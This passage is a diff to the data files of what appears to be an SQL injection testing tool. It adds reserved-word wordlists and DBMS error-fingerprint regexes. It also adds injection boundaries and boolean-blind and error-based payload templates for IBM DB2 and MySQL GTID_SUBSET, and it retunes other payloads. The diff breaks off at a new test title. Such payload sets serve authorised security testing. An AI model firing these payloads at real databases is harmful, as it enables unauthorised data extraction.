@@ -442,6 +442,7 @@ exchange
|
||||
Status
|
||||
WORKS_ON
|
||||
lines
|
||||
testusers
|
||||
booleantests
|
||||
QRTZ_SIMPLE_TRIGGERS
|
||||
mobile_menu
|
||||
|
||||
@@ -259,6 +259,7 @@ YEAR
|
||||
ZONE
|
||||
|
||||
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
|
||||
|
||||
ADD
|
||||
ALL
|
||||
ALTER
|
||||
@@ -450,3 +451,424 @@ WITH
|
||||
WRITEXOR
|
||||
YEAR_MONTH
|
||||
ZEROFILL
|
||||
|
||||
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
|
||||
|
||||
ABS
|
||||
ACOS
|
||||
ALL
|
||||
ALLOCATE
|
||||
ALTER
|
||||
ANALYSE
|
||||
ANALYZE
|
||||
AND
|
||||
ANY
|
||||
ARE
|
||||
ARRAY
|
||||
ARRAY_AGG
|
||||
ARRAY_MAX_CARDINALITY
|
||||
AS
|
||||
ASC
|
||||
ASENSITIVE
|
||||
ASIN
|
||||
ASYMMETRIC
|
||||
AT
|
||||
ATAN
|
||||
ATOMIC
|
||||
AUTHORIZATION
|
||||
AVG
|
||||
BEGIN
|
||||
BEGIN_FRAME
|
||||
BEGIN_PARTITION
|
||||
BETWEEN
|
||||
BIGINT
|
||||
BINARY
|
||||
BLOB
|
||||
BOOLEAN
|
||||
BOTH
|
||||
BY
|
||||
CALL
|
||||
CALLED
|
||||
CARDINALITY
|
||||
CASCADED
|
||||
CASE
|
||||
CAST
|
||||
CEIL
|
||||
CEILING
|
||||
CHAR
|
||||
CHARACTER
|
||||
CHARACTER_LENGTH
|
||||
CHAR_LENGTH
|
||||
CHECK
|
||||
CLASSIFIER
|
||||
CLOB
|
||||
CLOSE
|
||||
COALESCE
|
||||
COLLATE
|
||||
COLLATION
|
||||
COLLECT
|
||||
COLUMN
|
||||
COMMIT
|
||||
CONCURRENTLY
|
||||
CONDITION
|
||||
CONNECT
|
||||
CONSTRAINT
|
||||
CONTAINS
|
||||
CONVERT
|
||||
COPY
|
||||
CORR
|
||||
CORRESPONDING
|
||||
COS
|
||||
COSH
|
||||
COUNT
|
||||
COVAR_POP
|
||||
COVAR_SAMP
|
||||
CREATE
|
||||
CROSS
|
||||
CUBE
|
||||
CUME_DIST
|
||||
CURRENT
|
||||
CURRENT_CATALOG
|
||||
CURRENT_DATE
|
||||
CURRENT_DEFAULT_TRANSFORM_GROUP
|
||||
CURRENT_PATH
|
||||
CURRENT_ROLE
|
||||
CURRENT_ROW
|
||||
CURRENT_SCHEMA
|
||||
CURRENT_TIME
|
||||
CURRENT_TIMESTAMP
|
||||
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||
CURRENT_USER
|
||||
CURSOR
|
||||
CYCLE
|
||||
DATALINK
|
||||
DATE
|
||||
DAY
|
||||
DEALLOCATE
|
||||
DEC
|
||||
DECFLOAT
|
||||
DECIMAL
|
||||
DECLARE
|
||||
DEFAULT
|
||||
DEFERRABLE
|
||||
DEFINE
|
||||
DELETE
|
||||
DENSE_RANK
|
||||
DEREF
|
||||
DESC
|
||||
DESCRIBE
|
||||
DETERMINISTIC
|
||||
DISCONNECT
|
||||
DISTINCT
|
||||
DLNEWCOPY
|
||||
DLPREVIOUSCOPY
|
||||
DLURLCOMPLETE
|
||||
DLURLCOMPLETEONLY
|
||||
DLURLCOMPLETEWRITE
|
||||
DLURLPATH
|
||||
DLURLPATHONLY
|
||||
DLURLPATHWRITE
|
||||
DLURLSCHEME
|
||||
DLURLSERVER
|
||||
DLVALUE
|
||||
DO
|
||||
DOUBLE
|
||||
DROP
|
||||
DYNAMIC
|
||||
EACH
|
||||
ELEMENT
|
||||
ELSE
|
||||
EMPTY
|
||||
END
|
||||
END-EXEC
|
||||
END_FRAME
|
||||
END_PARTITION
|
||||
EQUALS
|
||||
ESCAPE
|
||||
EVERY
|
||||
EXCEPT
|
||||
EXEC
|
||||
EXECUTE
|
||||
EXISTS
|
||||
EXP
|
||||
EXTERNAL
|
||||
EXTRACT
|
||||
FALSE
|
||||
FETCH
|
||||
FILTER
|
||||
FIRST_VALUE
|
||||
FLOAT
|
||||
FLOOR
|
||||
FOR
|
||||
FOREIGN
|
||||
FRAME_ROW
|
||||
FREE
|
||||
FREEZE
|
||||
FROM
|
||||
FULL
|
||||
FUNCTION
|
||||
FUSION
|
||||
GET
|
||||
GLOBAL
|
||||
GRANT
|
||||
GROUP
|
||||
GROUPING
|
||||
GROUPS
|
||||
HAVING
|
||||
HOLD
|
||||
HOUR
|
||||
IDENTITY
|
||||
ILIKE
|
||||
IMPORT
|
||||
IN
|
||||
INDICATOR
|
||||
INITIAL
|
||||
INITIALLY
|
||||
INNER
|
||||
INOUT
|
||||
INSENSITIVE
|
||||
INSERT
|
||||
INT
|
||||
INTEGER
|
||||
INTERSECT
|
||||
INTERSECTION
|
||||
INTERVAL
|
||||
INTO
|
||||
IS
|
||||
ISNULL
|
||||
JOIN
|
||||
JSON_ARRAY
|
||||
JSON_ARRAYAGG
|
||||
JSON_EXISTS
|
||||
JSON_OBJECT
|
||||
JSON_OBJECTAGG
|
||||
JSON_QUERY
|
||||
JSON_TABLE
|
||||
JSON_TABLE_PRIMITIVE
|
||||
JSON_VALUE
|
||||
LAG
|
||||
LANGUAGE
|
||||
LARGE
|
||||
LAST_VALUE
|
||||
LATERAL
|
||||
LEAD
|
||||
LEADING
|
||||
LEFT
|
||||
LIKE
|
||||
LIKE_REGEX
|
||||
LIMIT
|
||||
LISTAGG
|
||||
LN
|
||||
LOCAL
|
||||
LOCALTIME
|
||||
LOCALTIMESTAMP
|
||||
LOG
|
||||
LOG10
|
||||
LOWER
|
||||
MATCH
|
||||
MATCHES
|
||||
MATCH_NUMBER
|
||||
MATCH_RECOGNIZE
|
||||
MAX
|
||||
MEASURES
|
||||
MEMBER
|
||||
MERGE
|
||||
METHOD
|
||||
MIN
|
||||
MINUTE
|
||||
MOD
|
||||
MODIFIES
|
||||
MODULE
|
||||
MONTH
|
||||
MULTISET
|
||||
NATIONAL
|
||||
NATURAL
|
||||
NCHAR
|
||||
NCLOB
|
||||
NEW
|
||||
NO
|
||||
NONE
|
||||
NORMALIZE
|
||||
NOT
|
||||
NOTNULL
|
||||
NTH_VALUE
|
||||
NTILE
|
||||
NULL
|
||||
NULLIF
|
||||
NUMERIC
|
||||
OCCURRENCES_REGEX
|
||||
OCTET_LENGTH
|
||||
OF
|
||||
OFFSET
|
||||
OLD
|
||||
OMIT
|
||||
ON
|
||||
ONE
|
||||
ONLY
|
||||
OPEN
|
||||
OR
|
||||
ORDER
|
||||
OUT
|
||||
OUTER
|
||||
OVER
|
||||
OVERLAPS
|
||||
OVERLAY
|
||||
PARAMETER
|
||||
PARTITION
|
||||
PATTERN
|
||||
PER
|
||||
PERCENT
|
||||
PERCENTILE_CONT
|
||||
PERCENTILE_DISC
|
||||
PERCENT_RANK
|
||||
PERIOD
|
||||
PERMUTE
|
||||
PLACING
|
||||
PORTION
|
||||
POSITION
|
||||
POSITION_REGEX
|
||||
POWER
|
||||
PRECEDES
|
||||
PRECISION
|
||||
PREPARE
|
||||
PRIMARY
|
||||
PROCEDURE
|
||||
PTF
|
||||
RANGE
|
||||
RANK
|
||||
READS
|
||||
REAL
|
||||
RECURSIVE
|
||||
REF
|
||||
REFERENCES
|
||||
REFERENCING
|
||||
REGR_AVGX
|
||||
REGR_AVGY
|
||||
REGR_COUNT
|
||||
REGR_INTERCEPT
|
||||
REGR_R2
|
||||
REGR_SLOPE
|
||||
REGR_SXX
|
||||
REGR_SXY
|
||||
REGR_SYY
|
||||
RELEASE
|
||||
RESULT
|
||||
RETURN
|
||||
RETURNING
|
||||
RETURNS
|
||||
REVOKE
|
||||
RIGHT
|
||||
ROLLBACK
|
||||
ROLLUP
|
||||
ROW
|
||||
ROWS
|
||||
ROW_NUMBER
|
||||
RUNNING
|
||||
SAVEPOINT
|
||||
SCOPE
|
||||
SCROLL
|
||||
SEARCH
|
||||
SECOND
|
||||
SEEK
|
||||
SELECT
|
||||
SENSITIVE
|
||||
SESSION_USER
|
||||
SET
|
||||
SHOW
|
||||
SIMILAR
|
||||
SIN
|
||||
SINH
|
||||
SKIP
|
||||
SMALLINT
|
||||
SOME
|
||||
SPECIFIC
|
||||
SPECIFICTYPE
|
||||
SQL
|
||||
SQLEXCEPTION
|
||||
SQLSTATE
|
||||
SQLWARNING
|
||||
SQRT
|
||||
START
|
||||
STATIC
|
||||
STDDEV_POP
|
||||
STDDEV_SAMP
|
||||
SUBMULTISET
|
||||
SUBSET
|
||||
SUBSTRING
|
||||
SUBSTRING_REGEX
|
||||
SUCCEEDS
|
||||
SUM
|
||||
SYMMETRIC
|
||||
SYSTEM
|
||||
SYSTEM_TIME
|
||||
SYSTEM_USER
|
||||
TABLE
|
||||
TABLESAMPLE
|
||||
TAN
|
||||
TANH
|
||||
THEN
|
||||
TIME
|
||||
TIMESTAMP
|
||||
TIMEZONE_HOUR
|
||||
TIMEZONE_MINUTE
|
||||
TO
|
||||
TRAILING
|
||||
TRANSLATE
|
||||
TRANSLATE_REGEX
|
||||
TRANSLATION
|
||||
TREAT
|
||||
TRIGGER
|
||||
TRIM
|
||||
TRIM_ARRAY
|
||||
TRUE
|
||||
TRUNCATE
|
||||
UESCAPE
|
||||
UNION
|
||||
UNIQUE
|
||||
UNKNOWN
|
||||
UNMATCHED
|
||||
UNNEST
|
||||
UPDATE
|
||||
UPPER
|
||||
USER
|
||||
USING
|
||||
VALUE
|
||||
VALUES
|
||||
VALUE_OF
|
||||
VARBINARY
|
||||
VARCHAR
|
||||
VARIADIC
|
||||
VARYING
|
||||
VAR_POP
|
||||
VAR_SAMP
|
||||
VERBOSE
|
||||
VERSIONING
|
||||
WHEN
|
||||
WHENEVER
|
||||
WHERE
|
||||
WIDTH_BUCKET
|
||||
WINDOW
|
||||
WITH
|
||||
WITHIN
|
||||
WITHOUT
|
||||
XML
|
||||
XMLAGG
|
||||
XMLATTRIBUTES
|
||||
XMLBINARY
|
||||
XMLCAST
|
||||
XMLCOMMENT
|
||||
XMLCONCAT
|
||||
XMLDOCUMENT
|
||||
XMLELEMENT
|
||||
XMLEXISTS
|
||||
XMLFOREST
|
||||
XMLITERATE
|
||||
XMLNAMESPACES
|
||||
XMLPARSE
|
||||
XMLPI
|
||||
XMLQUERY
|
||||
XMLSERIALIZE
|
||||
XMLTABLE
|
||||
XMLTEXT
|
||||
XMLVALIDATE
|
||||
YEAR
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -213,6 +213,15 @@ Formats:
|
||||
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>3</ptype>
|
||||
<prefix>%'</prefix>
|
||||
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>2</level>
|
||||
<clause>1</clause>
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- MySQL -->
|
||||
<dbms value="MySQL">
|
||||
<error regexp="SQL syntax.*?MySQL"/>
|
||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||
<error regexp="MySQLSyntaxErrorException"/>
|
||||
<error regexp="valid MySQL result"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||
<error regexp="MySqlClient\."/>
|
||||
<error regexp="com\.mysql\.jdbc"/>
|
||||
@@ -15,13 +16,11 @@
|
||||
<error regexp="Pdo[./_\\]Mysql"/>
|
||||
<error regexp="MySqlException"/>
|
||||
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
||||
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||
</dbms>
|
||||
|
||||
<!-- PostgreSQL -->
|
||||
<dbms value="PostgreSQL">
|
||||
<error regexp="PostgreSQL.*?ERROR"/>
|
||||
<error regexp="Warning.*?\Wpg_"/>
|
||||
@@ -37,7 +36,6 @@
|
||||
<error regexp="PSQLException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft SQL Server -->
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
||||
<error regexp="OLE DB.*? SQL Server"/>
|
||||
@@ -59,7 +57,6 @@
|
||||
<error regexp="SQL(Srv|Server)Exception"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft Access -->
|
||||
<dbms value="Microsoft Access">
|
||||
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
||||
<error regexp="JET Database Engine"/>
|
||||
@@ -68,7 +65,6 @@
|
||||
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Oracle -->
|
||||
<dbms value="Oracle">
|
||||
<error regexp="\bORA-\d{5}"/>
|
||||
<error regexp="Oracle error"/>
|
||||
@@ -83,19 +79,18 @@
|
||||
<error regexp="OracleException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- IBM DB2 -->
|
||||
<dbms value="IBM DB2">
|
||||
<error regexp="CLI Driver.*?DB2"/>
|
||||
<error regexp="DB2 SQL error"/>
|
||||
<error regexp="\bdb2_\w+\("/>
|
||||
<error regexp="SQLSTATE.+SQLCODE"/>
|
||||
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
|
||||
<error regexp="com\.ibm\.db2\.jcc"/>
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||
<error regexp="Pdo[./_\\]Ibm"/>
|
||||
<error regexp="DB2Exception"/>
|
||||
<error regexp="ibm_db_dbi\.ProgrammingError"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Informix -->
|
||||
<dbms value="Informix">
|
||||
<error regexp="Warning.*?\Wifx_"/>
|
||||
<error regexp="Exception.*?Informix"/>
|
||||
@@ -115,7 +110,6 @@
|
||||
<error regexp="Pdo[./_\\]Firebird"/>
|
||||
</dbms>
|
||||
|
||||
<!-- SQLite -->
|
||||
<dbms value="SQLite">
|
||||
<error regexp="SQLite/JDBCDriver"/>
|
||||
<error regexp="SQLite\.Exception"/>
|
||||
@@ -130,15 +124,15 @@
|
||||
<error regexp="SQLiteException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- SAP MaxDB -->
|
||||
<dbms value="SAP MaxDB">
|
||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||
<error regexp="DriverSapDB"/>
|
||||
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
||||
<error regexp="\[-3008\].*?: Invalid keyword or missing delimiter"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Sybase -->
|
||||
<dbms value="Sybase">
|
||||
<error regexp="Warning.*?\Wsybase_"/>
|
||||
<error regexp="Sybase message"/>
|
||||
@@ -148,7 +142,6 @@
|
||||
<error regexp="com\.sybase\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Ingres -->
|
||||
<dbms value="Ingres">
|
||||
<error regexp="Warning.*?\Wingres_"/>
|
||||
<error regexp="Ingres SQLSTATE"/>
|
||||
@@ -156,39 +149,36 @@
|
||||
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Frontbase -->
|
||||
<dbms value="Frontbase">
|
||||
<dbms value="FrontBase">
|
||||
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
||||
<error regexp="com\.frontbase\.jdbc"/>
|
||||
<error regexp="Syntax error 1. Missing"/>
|
||||
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
|
||||
</dbms>
|
||||
|
||||
<!-- HSQLDB -->
|
||||
<dbms value="HSQLDB">
|
||||
<error regexp="Unexpected end of command in statement \["/>
|
||||
<error regexp="Unexpected token.*?in statement \["/>
|
||||
<error regexp="org\.hsqldb\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- H2 -->
|
||||
<dbms value="H2">
|
||||
<error regexp="org\.h2\.jdbc"/>
|
||||
<error regexp="\[42000-192\]"/>
|
||||
</dbms>
|
||||
|
||||
<!-- MonetDB -->
|
||||
<dbms value="MonetDB">
|
||||
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Apache Derby -->
|
||||
<dbms value="Apache Derby">
|
||||
<error regexp="Syntax error: Encountered"/>
|
||||
<error regexp="org\.apache\.derby"/>
|
||||
<error regexp="ERROR 42X01"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Vertica -->
|
||||
<dbms value="Vertica">
|
||||
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
|
||||
<error regexp="/vertica/Parser/scan"/>
|
||||
@@ -197,13 +187,12 @@
|
||||
<error regexp="com\.vertica\.dsi\.dataengine"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Mckoi -->
|
||||
<dbms value="Mckoi">
|
||||
<error regexp="com\.mckoi\.JDBCDriver"/>
|
||||
<error regexp="com\.mckoi\.database\.jdbc"/>
|
||||
<error regexp="<REGEX_LITERAL>"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Presto -->
|
||||
<dbms value="Presto">
|
||||
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||
<error regexp="io\.prestosql\.jdbc"/>
|
||||
@@ -211,14 +200,21 @@
|
||||
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Altibase -->
|
||||
<dbms value="Altibase">
|
||||
<error regexp="Altibase\.jdbc\.driver"/>
|
||||
</dbms>
|
||||
|
||||
<!-- MimerSQL -->
|
||||
<dbms value="MimerSQL">
|
||||
<error regexp="com\.mimer\.jdbc"/>
|
||||
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="CrateDB">
|
||||
<error regexp="io\.crate\.client\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Cache">
|
||||
<error regexp="encountered after end of query"/>
|
||||
<error regexp="A comparison operator is required here"/>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
@@ -824,7 +824,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -845,7 +844,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1193,7 +1191,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1214,7 +1211,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1332,6 +1328,44 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
|
||||
<stype>1</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Works in MySQL, Oracle, etc. -->
|
||||
<test>
|
||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||
@@ -1452,7 +1486,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -1474,7 +1507,6 @@ Tag: <test>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
|
||||
@@ -91,6 +91,46 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
||||
<stype>2</stype>
|
||||
@@ -404,7 +444,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -425,7 +464,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -446,7 +484,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -467,7 +504,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -488,7 +524,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -509,7 +544,6 @@
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
@@ -672,7 +706,7 @@
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -689,9 +723,9 @@
|
||||
<test>
|
||||
<title>Firebird OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -710,7 +744,7 @@
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -727,9 +761,9 @@
|
||||
<test>
|
||||
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
@@ -748,7 +782,7 @@
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<request>
|
||||
@@ -765,9 +799,9 @@
|
||||
<test>
|
||||
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>3</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<request>
|
||||
@@ -780,6 +814,45 @@
|
||||
<dbms>Vertica</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
